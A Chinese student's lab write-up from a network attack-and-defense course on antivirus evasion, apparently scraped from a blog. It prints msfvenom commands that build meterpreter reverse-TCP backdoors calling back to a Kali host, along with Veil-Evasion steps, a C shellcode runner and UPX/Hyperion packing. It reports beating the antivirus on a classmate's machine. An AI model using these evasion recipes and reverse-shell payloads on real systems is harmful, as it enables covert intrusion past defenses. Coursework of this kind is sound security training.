2018-2019 2 20165203 《网络对抗技术》 Exp3 免杀原理与实践

2018-2019 2 20165203 《网络对抗技术》 Exp3 免杀原理与实践

免杀原理与实践说明及基础问答部分

实验任务

  • 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其余文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)php

  • 经过组合应用各类技术实现恶意代码免杀(0.5分)(若是成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)html

  • 用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)java

免杀原理基础知识问答

1、免杀原理python

免杀shell

  • 通常是对恶意软件作处理,让它不被杀毒软件所检测。也是渗透测试中须要使用到的技术。编程

  • 要作好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工做的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。windows

  • 反过来也同样,了解了免杀的工具和技术,你也就具备了反制它的基础。数组

2、基础知识问答网络

  1. 杀软是如何检测出恶意代码的?
  • 基于特征码的检测:简单来讲,一段特征码就是一段或多段数据,恶意代码常常出现的而其余正常程序所没有的。若是杀软检测到一个文件对比其余文件有特征码,则能够认定该文件包含恶意代码。
  • 启发式恶意软件检测:简单来讲,就是根据一些片面特征去判断。一般是,若是一个软件作了一般是恶意软件干的事儿,那就说明这个软件是恶意软件。
  • 基于行为的恶意软件检测:简单来讲,它是针对特征扫描而言的。杀软会监视软件的行为,发现特殊行为,就认为它是恶意软件。
  1. 免杀是作什么?
  • 就是对恶意软件或代码作一些处理,使之不被杀毒软件所查杀。
  1. 免杀的基本方法有哪些?

通常来讲,免杀的方法是针对技术的。tcp

  • 改变特征码
    • 有EXE:加壳(压缩壳、加密壳)
    • 有shellcode:用encode进行编码或基于payload从新编译生成可执行文件
    • 有源代码:用其余语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通信方式
      • 尽可能使用反弹式链接
      • 使用隧道技术
      • 加密通信数据
    • 操做模式
      • 基于内存操做
      • 减小对系统的修改
      • 加入混淆做用的正常功能代码
  1. 开启杀软能绝对防止电脑中恶意代码吗?
  • 固然不能了,就恶意软件来讲,通常AV的检出率也要达到40%-98%,最好的AV仍然会有2%的病毒逃脱检测,不过,大部分仍是能够检测出来。

实验准备及环境

  • Kali虚拟机(IP:192.168.154.155)
  • Windows7 (IP:192.168.154.139)
  • 电脑管家
  • 免杀扫描引擎
    VirusTotal
    Virscan(我用的这个)
  • 集成了60多个商业杀毒软件的扫描引擎。能够上传免杀处理过的程序进行检测。若是上传的程序全部软件都杀不出来,virustotal就会把它交给AV厂商们了,而后在杀毒库更新前,你还可使用一段时间。Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它本身开发了本身的行为分析引擎。太慢,还没试用。

实验内容及步骤

任务一 使用msfvenom生成各类文件,veil-evasion,加壳工具,使用shellcode编程

1.使用msf编码器生成后门程序及检测

  • 《Exp2:后门原理与实践》中,咱们生成了20165203_backdoor.exe后门文件,将它放在virscan.org中进行扫描
  • 可是出现了如图这样的界面:

无奈,又将名字改成了xyx_backdoor.exe.
结果如图所示

能够看出,不加任何免杀操做的病毒很容易被检测出来。那么咱们编码一下呢?

  • 经过使用编码一次的命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5203 -f exe > 5203_encoded.exe

  • 被电脑管家查住了。

  • 而后,咱们继续用virscan.org扫描一下,看一下结果如何呢?

能够看出,通过编码后的后门程序检出率下降了。那么咱们屡次编码结果会是什么样呢?

  • 使用编码十次的命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5203 -f exe > 5203encoded10.exe

  • 不幸的是,又被查住了。

  • 继续扫描结果以下

能够看出,通过10次编码,后门程序的检出率更低了。

2. msfvenom生成jar等文件

  • 咱们能够利用msfvenom生成java后门程序,输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5203 x> 20165203_backdoor_java.jar

  • 咱们能够对20165203_backdoor_java.jar进行扫描,又出现了名字不合法的问题,将名字改成了xyx_backdoor.jar.

  • 扫描结果以下:

  • 能够看出,仍是检出率仍是很高。

3. msfvenom生成php等文件

  • 咱们一样能够一用msfvenom生成php后门程序,输入命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5226 x> 20165226_backdoor.php

  • 咱们一样能够对20165203_backdoor.php进行扫描。

等等,难道是.php文件开挂了?这是什么神奇操做???,不过终究仍是扫描出来了。。

4. 使用veil-evasion生成后门程序及检测

  • 咱们能够安装veil,利用sudo apt-install veil-evasion,而后继续按y继续执行就能够,可是过程须要耐心等待。不幸的是,在我等到夜里2点快要安装好的时候,提示我要安装python.exe什么鬼,这个程序没有安装成功,致使后来的安装过程不太顺利,最后的veil也不太可用。只用无奈拷了同窗的kali

  • 安装成功后,咱们能够输入veil启用veil。

  • 接着输入use veil命令进入Evil-Evasion

  • 接着输入命令use c/meterpreter/rev_tcp.py进入配置界面。

  • 接下来,设置反弹要链接的Kali IP,输入命令set LHOST 192.168.154.151

  • 接下来,就要设置端口,我用的个人学号,输入命令set LPORT 5203

  • 接着,咱们须要输入generate生成文件,并给咱们的payload取个名字,输入veil_c_5203

  • 咱们能够看到咱们生成的后门程序的保存路径为/var/lib/veil/output/compiled/veil_c_5203.exe
  • 传一下试试,不幸的是,仍然被查了出来,扫描一下呗。

5. 使用shellcode编程半手工生成可执行文件而且进行免杀检测

下面,咱们尝试用半手工来注入shellcode来执行一下吧。

  • 首先,使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5203 -f c来用C语言生成一段shellcode吧,生成的sellcode原来长这模样儿。

  • 接下来咱们就要手工编写了。

  • 建立一个文件20165203.c,将咱们生成的shellcode(存在字符串数组unsigned char buf[]中)。

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
···
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 咱们须要使用命令,i686-w64-mingw32-g++ 20165203_shellcode.c -o 20165203_shellcode.exe来编译.c文件。

  • 查杀一下呗

不幸的是仍是被查杀出来了。

  • 用virscan.org检测一下。

那么咱们是否可以经过一些免杀的行为来使咱们的程序免杀呢?接下来,就试一下加壳

6. 使用加壳工具生成可执行文件而且进行免杀检测

最后,咱们试试加壳吧,在使用加壳以前,咱们首先要了解几个问题。

  • 什么是加壳呢?
    • 加壳的全称为可执行程序资源压缩,压缩后的程序能够直接运行。
    • 加壳的另外一种经常使用的方式是在二进制程序中植入一段代码,在运行的时候优先取得程序的控制权,以后再把控制权交还给原始代码,这样作的目的是为了隐藏真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
    • 加壳的程序须要阻止外部程序或软件对加壳程序自己的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。这种技术也经常使用来保护软件版权,防止软件被破解。但对于病毒来讲,加壳能够绕过一些杀毒软件的扫描,从而实现它做为病毒的一些入侵或破坏的一些特征。
    • MSF的编码器常用相似方法,对shellcode进行再编码。
  • 从技术上分壳分为:
    • 压缩壳:减小应用体积,如ASPack,UPX
    • 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机:经过相似编译手段,将应用指令转换为本身设计党的指令集。如VMProtect,Themida

明白了这些,咱们来试试吧

  • 咱们先来使用压缩壳(UPX)

    • 把上个实验Task生成的20165203_backdoor.exe加壳获得xyx_upxed.exe,利用命令upx 20165203_backdoor.exe -o xyx_upxed

    • 扫描一下呗

    • 咱们能够看出,扫出率下降了。
  • 使用加密壳Hyperion

将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入命令wine hyperion.exe -v xyx_upxed.exe xyx_upxed_Hyperion.exe进行加密壳:

    • 检测一下。

what?怎么仍是这么多

    • 并且,电脑管家也发现了,只能将它放在信任区了。

    • 回连一下,居然成功了。

任务二 经过组合应用各类技术实现恶意代码免杀

  • 我经过半手工制做了shellcode,压缩壳,又加密壳,攻击本身的windows7虚拟机,达到了免杀的目的。
  • 回连成功的截图,后面还有全盘查杀的截图,确认已免杀。

任务三:用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本

哈哈,终于到了实战的时候了。

  • 我用msf生成了shellcode,而后压缩壳,加密壳,把它传入靶机。
  • 攻击者:本人Kali(IP:192.168.154.151)
  • 靶机:同窗的主机Windows7系统(IP)360杀毒软件
  • 任务截图
    • 植入程序成功。

    • 经过扫描。

    • 回连成功

离实战还缺些什么技术或步骤?

咱们如今只是利用一些方法生成后门程序,并使后门程序免于杀毒软件的检测,也就是免杀,可是如何将咱们生成的后门程序注入到靶机里,又如何诱导靶机的用户来运行后门程序,这都是咱们从此要思考解决的问题。

另外,随着病毒库的不断更新,咱们还须要探索出新的方法来免杀,这也充分说明IT人士是要不断学习和进步的。

实验中遇到的问题及解决方法

问题:一开始输入编码10次的命令时,出现了如图所示状况,编码失败。

解决:其实,很迷,检查了一下个人命令也没有输错,后来发现,我利用以前编码一次的程序实现了一下回连(固然windows7的电脑管家关着),是否是正在回连的缘故,我关闭了msf,从新编码,就成功了。

实验感想

此次实现真的好有意思,本身利用msfvenom生成后门程序,而后想办法让后门程序不被查杀,有点儿黑客的感受了,哈哈。

经过此次的免杀实验,我了解了免杀的概念、基本方法等,还能利用virtotal、virscan等工具来进行扫描,随着实验的增多,咱们不能仅仅局限于能够跟着实验的步骤走,要明白每次实验步骤的含义和目的,才能为从此独立实战打下基础。

相关文章
相关标签/搜索